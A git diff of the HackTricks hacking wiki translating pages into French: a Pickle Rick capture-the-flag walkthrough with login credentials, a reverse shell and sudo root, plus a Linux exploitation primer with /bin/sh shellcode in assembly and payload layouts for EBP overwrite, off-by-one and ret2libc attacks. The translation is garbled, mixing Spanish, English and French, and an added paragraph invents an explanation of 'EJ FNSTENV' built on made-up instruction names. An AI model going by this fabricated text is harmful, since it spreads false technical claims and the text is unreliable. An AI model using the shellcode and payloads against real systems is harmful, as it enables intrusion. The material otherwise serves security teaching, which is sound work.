**follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). ![](../../.gitbook/assets/picklerick.gif) -This machine was categorised as easy and it was pretty easy. +Cette machine a été classée comme facile et elle était assez facile. -## Enumeration +## Énumération -I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): +J'ai commencé **à énumérer la machine en utilisant mon outil** [**Legion**](https://github.com/carlospolop/legion) : ![](<../../.gitbook/assets/image (79) (2).png>) -In as you can see 2 ports are open: 80 (**HTTP**) and 22 (**SSH**) +Comme vous pouvez le voir, 2 ports sont ouverts : 80 (**HTTP**) et 22 (**SSH**) -So, I launched legion to enumerate the HTTP service: +J'ai donc lancé legion pour énumérer le service HTTP : ![](<../../.gitbook/assets/image (234).png>) -Note that in the image you can see that `robots.txt` contains the string `Wubbalubbadubdub` +Notez que dans l'image, vous pouvez voir que `robots.txt` contient la chaîne `Wubbalubbadubdub` -After some seconds I reviewed what `disearch` has already discovered : +Après quelques secondes, j'ai examiné ce que `disearch` avait déjà découvert : ![](<../../.gitbook/assets/image (235).png>) ![](<../../.gitbook/assets/image (236).png>) -And as you may see in the last image a **login** page was discovered. +Et comme vous pouvez le voir dans la dernière image, une **page de connexion** a été découverte. -Checking the source code of the root page, a username is discovered: `R1ckRul3s` +En vérifiant le code source de la page racine, un nom d'utilisateur est découvert : `R1ckRul3s` ![](<../../.gitbook/assets/image (237) (1).png>) -Therefore, you can login on the login page using the credentials `R1ckRul3s:Wubbalubbadubdub` +Par conséquent, vous pouvez vous connecter sur la page de connexion en utilisant les identifiants `R1ckRul3s:Wubbalubbadubdub` -## User +## Utilisateur -Using those credentials you will access a portal where you can execute commands: +En utilisant ces identifiants, vous accéderez à un portail où vous pouvez exécuter des commandes : ![](<../../.gitbook/assets/image (241).png>) -Some commands like cat aren't allowed but you can read the first ingredient (flag) using for example grep: +Certaines commandes comme cat ne sont pas autorisées, mais vous pouvez lire le premier ingrédient (flag) en utilisant, par exemple, grep : ![](<../../.gitbook/assets/image (242).png>) -Then I used: +Ensuite, j'ai utilisé : ![](<../../.gitbook/assets/image (243) (1).png>) -To obtain a reverse shell: +Pour obtenir un shell inversé : ![](<../../.gitbook/assets/image (239) (1).png>) -The **second ingredient** can be found in `/home/rick` +Le **deuxième ingrédient** peut être trouvé dans `/home/rick` ![](<../../.gitbook/assets/image (240).png>) -## Root +## Racine -The user **www-data can execute anything as sudo**: +L'utilisateur **www-data peut exécuter n'importe quoi en tant que sudo** : ![](<../../.gitbook/assets/image (238).png>) @@ -78,10 +78,10 @@ The user **www-data can execute anything as sudo**: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/emails-vulns.md b/emails-vulns.md index da9bad1f7..ce918f189 100644 --- a/emails-vulns.md +++ b/emails-vulns.md @@ -1,29 +1,15 @@ -# Emails Vulnerabilities +# Vulnérabilités des e-mails
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## - -## - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index ebb2d781e..b13af4c33 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -6,11 +6,11 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). @@ -18,62 +18,56 @@ Aleatorización de direcciones -**Desactiva aleatorizacion(ASLR) GLOBAL (root)**:\ +**Désactiver la randomisation (ASLR) GLOBALE (root)**:\ echo 0 > /proc/sys/kernel/randomize\_va\_space\ -Reactivar aletorizacion GLOBAL: echo 2 > /proc/sys/kernel/randomize\_va\_space +Réactiver la randomisation GLOBALE: echo 2 > /proc/sys/kernel/randomize\_va\_space -**Desactivar para una ejecución** (no requiere root):\ -setarch \`arch\` -R ./ejemplo argumentos\ -setarch \`uname -m\` -R ./ejemplo argumentos +**Désactiver pour une exécution** (ne nécessite pas de root):\ +setarch \`arch\` -R ./exemple arguments\ +setarch \`uname -m\` -R ./exemple arguments -**Desactivar protección de ejecución en pila**\ -gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack ejemplo.c -o ejemplo +**Désactiver la protection d'exécution sur la pile**\ +gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack exemple.c -o exemple -**Core file**\ +**Fichier core**\ ulimit -c unlimited\ gdb /exec core\_file\ /etc/security/limits.conf -> \* soft core unlimited -**Text**\ -**Data**\ +**Texte**\ +**Données**\ **BSS**\ **Heap** -**Stack** - -**Sección BSS**: Variables globales o estáticas sin inicializar +**Pile** +**Section BSS**: Variables globales ou statiques non initialisées ``` static int i; ``` - -**Sección DATA**: Variables globales o estáticas inicializadas - +**Section DATA**: Variables globales ou statiques initialisées ``` int i = 5; ``` +**Section TEXT**: Code instructions (opcodes) -**Sección TEXT**: Instrucciones del código (opcodes) +**Section HEAP**: Dynamically allocated buffers (malloc(), calloc(), realloc()) -**Sección HEAP**: Buffer reservados de forma dinánima (malloc(), calloc(), realloc() ) +**Section STACK**: The stack (passed arguments, environment strings (env), local variables...) -**Sección STACK**: La pila (Argumentos pasados, cadenas de entorno (env), variables locales…) +## **1. DÉBORDEMENTS DE PILE** -## **1.STACK OVERFLOWS** +> Débordement de tampon, dépassement de tampon, dépassement de pile, écrasement de pile -> buffer overflow, buffer overrun, stack overrun, stack smashing - -Fallo de segmentación o violación de segmento: Cuando se intenta acceder a una dirección de memoria que no ha sido asignada al proceso. - -Para obtener la dirección de una función dentro de un programa se puede hacer: +Segmentation fault or segment violation: When attempting to access a memory address that has not been assigned to the process. +To obtain the address of a function within a program, you can do: ``` objdump -d ./PROGRAMA | grep FUNCION ``` - ## ROP -### Call to sys\_execve +### Appel à sys\_execve {% content-ref url="rop-syscall-execv.md" %} [rop-syscall-execv.md](rop-syscall-execv.md) @@ -81,23 +75,22 @@ objdump -d ./PROGRAMA | grep FUNCION ## **2.SHELLCODE** -Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” +Voir les interruptions du kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR\_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ exit(0); // \_\_NR\_exit 1 -xor eax, eax ; limpiamos eax\ -xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\ +xor eax, eax ; nettoyer eax\ +xor ebx, ebx ; ebx = 0 car il n'y a pas d'argument à passer\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ -int 0x80 ; Ejecutar syscall +int 0x80 ; Exécuter la syscall -**nasm -f elf assembly.asm** —> Nos devuelve un .o\ -**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes - -**Comprobar que la shellcode funciona** +**nasm -f elf assembly.asm** —> Nous renvoie un .o\ +**ld assembly.o -o shellcodeout** —> Nous donne un exécutable formé par le code assembleur et nous pouvons extraire les opcodes avec **objdump**\ +**objdump -d -Mintel ./shellcodeout** —> Pour vérifier que c'est bien notre shellcode et extraire les opcodes +**Vérifier que la shellcode fonctionne** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” @@ -107,13 +100,11 @@ void main(){ fp(); } ``` +Pour vérifier que les appels système sont effectués correctement, vous devez compiler le programme précédent et les appels système doivent apparaître dans **strace ./PROGRAMA\_COMPILADO**. -Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA\_COMPILADO** - -A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código. - -EJ **TRUCO (/bin/sh)**: +Lors de la création de shellcodes, un astuce peut être utilisée. La première instruction est un saut vers un appel. L'appel appelle le code original et met également l'EIP dans la pile. Après l'instruction d'appel, nous avons inséré la chaîne dont nous avions besoin, de sorte qu'avec cet EIP, nous pouvons pointer vers la chaîne et continuer à exécuter le code. +EX **ASTUCE (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string @@ -133,9 +124,7 @@ int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` - -**EJ usando el Stack(/bin/sh):** - +**Utilisation de l'exploit EJ avec le Stack (/bin/sh) :** ``` section .text global _start @@ -156,24 +145,28 @@ mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` - **EJ FNSTENV:** +La technique EJ FNSTENV est une technique d'exploitation de dépassement de tampon qui consiste à écraser la structure de cadre de pile (stack frame) d'une fonction pour contrôler l'exécution du programme. Cette technique est souvent utilisée pour exécuter du code malveillant sur une machine cible. + +Le nom EJ FNSTENV vient des instructions utilisées pour exploiter cette technique : EJUMP (saut conditionnel), FNSTENV (sauvegarde de l'état de la pile) et JMP (saut inconditionnel). + +Pour exploiter cette technique, l'attaquant doit trouver une vulnérabilité de dépassement de tampon dans le programme cible. Ensuite, l'attaquant doit écrire un shellcode qui sera exécuté une fois que la structure de cadre de pile sera écrasée. Le shellcode peut être utilisé pour ouvrir une porte dérobée, exécuter des commandes à distance ou effectuer d'autres actions malveillantes. + +Il est important de noter que cette technique est de plus en plus difficile à exploiter en raison des mesures de sécurité mises en place dans les systèmes d'exploitation modernes. Les développeurs peuvent également utiliser des techniques de codage sécurisé pour réduire les risques de vulnérabilités de dépassement de tampon. ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` +**Chasseur d'œufs :** -**Egg Huter:** +Il s'agit d'un petit code qui parcourt les pages de mémoire associées à un processus à la recherche de la shellcode qui y est stockée (recherche d'une signature placée dans la shellcode). Utile dans les cas où il n'y a qu'un petit espace pour injecter du code. -Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. - -**Shellcodes polimórficos** - -Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: +**Shellcodes polymorphes** +Il s'agit de shells chiffrés qui ont un petit code qui les déchiffre et saute dessus, en utilisant le truc de Call-Pop. Voici un exemple de chiffrement de César : ``` global _start _start: @@ -192,145 +185,139 @@ magic: sc: ;Aquí va el shellcode ``` +1. **Attaquer le pointeur de cadre (EBP)** -1. **Atacando el Frame Pointer (EBP)** - -Útil en una situación en la que podemos modificar el EBP pero no el EIP. - -Se sabe que al salir de una función se ejecuta el siguente código ensamblador: +Utile dans une situation où nous pouvons modifier l'EBP mais pas l'EIP. +Il est connu que lorsqu'une fonction se termine, le code assembleur suivant est exécuté: ``` movl %ebp, %esp popl %ebp ret ``` +De cette façon, si l'on peut modifier l'EBP en sortant d'une fonction (fvuln) qui a été appelée par une autre fonction, lorsque la fonction qui a appelé fvuln se termine, son EIP peut être modifié. -De esta forma, si se puede modificar el EBP al salir de una función (fvuln) que ha sido llamada por otra función, cuando la función que llamó a fvuln finalice, su EIP puede ser modificado. - -En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la direcciónd e la shellcode + 4 (hay que sumarle 4 por el pop). Así, al salir de la función, se meterá en ESP el valor de &(\&Shellcode)+4, con el pop se le restará 4 al ESP y este apuntará a la dirección de la shellcode cuando se ejcute el ret. +Dans fvuln, on peut introduire un faux EBP qui pointe vers un endroit où se trouve l'adresse de la shellcode + 4 (il faut ajouter 4 pour le pop). Ainsi, en sortant de la fonction, la valeur de &(\&Shellcode)+4 sera placée dans ESP, avec le pop, 4 sera soustrait de ESP et il pointera vers l'adresse de la shellcode lors de l'exécution du ret. **Exploit:**\ -\&Shellcode + "AAAA" + SHELLCODE + relleno + &(\&Shellcode)+4 +\&Shellcode + "AAAA" + SHELLCODE + remplissage + &(\&Shellcode)+4 -**Off-by-One Exploit**\ -Se permite modificar tan solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP. +**Exploit Off-by-One**\ +Il est possible de modifier uniquement le byte le moins significatif de l'EBP. On peut effectuer une attaque comme celle décrite précédemment, mais la mémoire qui stocke l'adresse de la shellcode doit partager les 3 premiers bytes avec l'EBP. -## **4. Métodos return to Libc** +## **4. Méthodes return to Libc** -Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño para modificar. +Méthode utile lorsque la pile n'est pas exécutable ou laisse un tampon très petit pour être modifié. -El ASLR provoca que en cada ejecución las funciones se carguen en posiciones distintas de la memoria. Por lo tanto este método puede no ser efectivo en ese caso. Para servidores remotos, como el programa está siendo ejecutado constantemente en la misma dirección sí puede ser útil. +L'ASLR fait en sorte que chaque fois que les fonctions sont chargées à des positions différentes de la mémoire. Par conséquent, cette méthode peut ne pas être efficace dans ce cas. Pour les serveurs distants, comme le programme est constamment exécuté à la même adresse, elle peut être utile. -* **cdecl(C declaration)** Mete los argumentos en el stack y tras salir de la función limpia la pila -* **stdcall(standard call)** Mete los argumentos en la pila y es la función llamada la que la limpia -* **fastcall** Mete los dos primeros argumentos en registros y el resto en la pila +* **cdecl (C declaration)** Met les arguments sur la pile et nettoie la pile après la sortie de la fonction +* **stdcall (standard call)** Met les arguments sur la pile et c'est la fonction appelée qui la nettoie +* **fastcall** Met les deux premiers arguments dans les registres et le reste sur la pile -Se pone la dirección de la instrucción system de libc y se le pasa como argumento el string “/bin/sh”, normalmente desde una variable de entorno. Además, se usa la dirección a la función exit para que una vez que no se requiera más la shell, salga el programa sin dar problemas (y escribir logs). +On met l'adresse de l'instruction system de libc et on lui passe comme argument la chaîne "/bin/sh", généralement à partir d'une variable d'environnement. De plus, on utilise l'adresse de la fonction exit pour que, une fois que la shell n'est plus nécessaire, le programme se termine sans problème (et sans écrire de journaux). **export SHELL=/bin/sh** -Para encontrar las direcciones que necesitaremos se puede mirar dentro de **GDB:**\ +Pour trouver les adresses dont nous avons besoin, on peut regarder dans **GDB:**\ **p system**\ **p exit**\ -**rabin2 -i ejecutable** —> Da la dirección de todas las funciones que usa el programa al cargarse\ -(Dentro de un start o algun breakpoint): **x/500s $esp** —> Buscamos dentro de aqui el string /bin/sh +**rabin2 -i executable** —> Donne l'adresse de toutes les fonctions utilisées par le programme lorsqu'il est chargé\ +(Dans un start ou un autre point d'arrêt): **x/500s $esp** —> On cherche ici la chaîne /bin/sh -Una vez tengamos estas direcciones el **exploit** quedaría: +Une fois que nous avons ces adresses, l'**exploit** serait : -“A” \* DISTANCIA EBP + 4 (EBP: pueden ser 4 "A"s aunque mejor si es el EBP real para evitar fallos de segmentación) + Dirección de **system** (sobreescribirá el EIP) + Dirección de **exit** (al salir de system(“/bin/sh”) se llamará a esta función pues los primero 4bytes del stack son tratados como la siguiente dirección del EIP a ejecutar) + Dirección de “**/bin/sh**” (será el parámetro pasado a system) +"A" \* DISTANCE EBP + 4 (EBP : il peut s'agir de 4 "A" bien que ce soit mieux si c'est le vrai EBP pour éviter les erreurs de segmentation) + Adresse de **system** (elle écrasera l'EIP) + Adresse de **exit** (lorsque system(“/bin/sh”) se termine, cette fonction sera appelée car les 4 premiers octets de la pile sont traités comme l'adresse suivante de l'EIP à exécuter) + Adresse de “**/bin/sh**” (ce sera le paramètre passé à system) -De esta forma el EIP se sobreescribirá con la dirección de system la cual recibirá como parámetro el string “/bin/sh” y al salir de este ejecutará la función exit(). +De cette façon, l'EIP sera écrasé avec l'adresse de system qui recevra la chaîne "/bin/sh" comme paramètre et, une fois terminée, exécutera la fonction exit(). -Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio (\x20). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente (por ejemplo con > x/8i system-4). +Il est possible de se retrouver dans la situation où un byte d'une adresse d'une fonction est nul ou un espace (\x20). Dans ce cas, on peut désassembler les adresses précédant cette fonction car il y a probablement plusieurs NOPs qui nous permettront d'appeler l'un d'entre eux plutôt que la fonction directement (par exemple avec > x/8i system-4). -Este método funciona pues al llamar a una función como system usando el opcode **ret** en vez de **call**, la función entiende que los primeros 4bytes serán la dirección **EIP** a la que volver. +Cette méthode fonctionne car en appelant une fonction comme system en utilisant l'opcode **ret** au lieu de **call**, la fonction comprend que les 4 premiers octets seront l'adresse **EIP** à laquelle revenir. -Una técnica interesante con este método es el llamar a **strncpy()** para mover un payload del stack al heap y posteriormente usar **gets()** para ejecutar dicho payload. +Une technique intéressante avec cette méthode consiste à appeler **strncpy()** pour déplacer une charge utile de la pile vers le tas et ensuite utiliser **gets()** pour exécuter cette charge utile. -Otra técnica interesante es el uso de **mprotect()** la cual permite asignar los permisos deseados a cualquier parte de la memoria. Sirve o servía en BDS, MacOS y OpenBSD, pero no en linux(controla que no se puedan otorgar a la vez permisos de escritura y ejecución). Con este ataque se podría volver a configurar la pila como ejecutable. +Une autre technique intéressante est l'utilisation de **mprotect()** qui permet d'attribuer les autorisations souhaitées à n'importe quelle partie de la mémoire. Elle fonctionne ou fonctionnait sur BDS, MacOS et OpenBSD, mais pas sur Linux (qui empêche l'attribution simultanée d'autorisations d'écriture et d'exécution). Avec cette attaque, il serait possible de rétablir la pile comme exécutable. -**Encadenamiento de funciones** +**Enchaînement de fonctions** -Basándonos en la técnica anterior, esta forma de exploit consiste en:\ -Relleno + \&Función1 + \&pop;ret; + \&arg\_fun1 + \&Función2 + \&pop;ret; + \&arg\_fun2 + … +En se basant sur la technique précédente, cette forme d'exploit consiste en :\ +Remplissage + \&Fonction1 + \&pop;ret; + \&arg\_fun1 + \&Fonction2 + \&pop;ret; + \&arg\_fun2 + … -De esta forma se pueden encadenar funciones a las que llamar. Además, si se quieren usar funciones con varios argumentos, se pueden poder los argumentos necesarios (ej 4) y poner los 4 argumentos y buscar dirección a un sitio con opcodes: pop, pop, pop, pop, ret —> **objdump -d ejecutable** +De cette façon, on peut enchaîner des fonctions à appeler. De plus, si l'on veut utiliser des fonctions avec plusieurs arguments, on peut mettre les arguments nécessaires (par exemple 4) et mettre les 4 arguments et chercher une adresse à un endroit avec des opcodes : pop, pop, pop, pop, ret —> **objdump -d executable** -**Encadenamiento mediante falseo de frames (encadenamiento de EBPs)** +**Enchaînement en falsifiant les frames (enchaînement des EBPs)** -Consiste en aprovechar el poder manipular el EBP para ir encadenando la ejecución de varias funciones a través del EBP y de "leave;ret" +Il s'agit de profiter du pouvoir de manipulation de l'EBP pour enchaîner l'exécution de plusieurs fonctions à travers l'EBP et "leave;ret" -RELLENO +REMPLISSAGE -* Situamos en el EBP un EBP falso que apunta a: 2º EBP\_falso + la función a ejecutar: (\&system() + \&leave;ret + &“/bin/sh”) -* En el EIP ponemos de dirección una función &(leave;ret) +* On place dans l'EBP un EBP faux qui pointe vers : 2ème EBP\_faux + la fonction à exécuter : (\&system() + \&leave;ret + &“/bin/sh”) +* Dans l'EIP, on met l'adresse d'une fonction &(leave;ret) -Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/sh” +On commence la shellcode avec l'adresse de la partie suivante de la shellcode, par exemple : 2ème EBP\_faux + \&system() + &(leave;ret;) + &”/bin/sh” -el 2ºEBP sería: 3ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/ls” +le 2ème EBP serait : 3ème EBP\_faux + \&system() + &(leave;ret;) + &”/bin/ls” -Esta shellcode se puede repetir indefinidamente en las partes de memoria a las que se tenga acceso de forma que se conseguirá una shellcode fácilmente divisible por pequeños trozos de memoria. +Cette shellcode peut être répétée indéfiniment dans les parties de la mémoire auxquelles on a accès, de sorte qu'on obtiendra une shellcode facilement divisible en petits morceaux de mémoire. -(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib) +(L'enchaînement de l'exécution de fonctions mélange les vulnérabilités précédemment vues d'EBP et de ret2lib) -## **5.Métodos complementarios** +## **5. Méthodes complémentaires** **Ret2Ret** -Útil para cuando no se puede meter una dirección del stack en el EIP (se comprueba que el EIP no contenga 0xbf) o cuando no se puede calcular la ubicación de la shellcode. Pero, la función vulnerable acepte un parámetro (la shellcode irá aquí). +Utile lorsque l'on ne peut pas mettre une adresse de la pile dans l'EIP 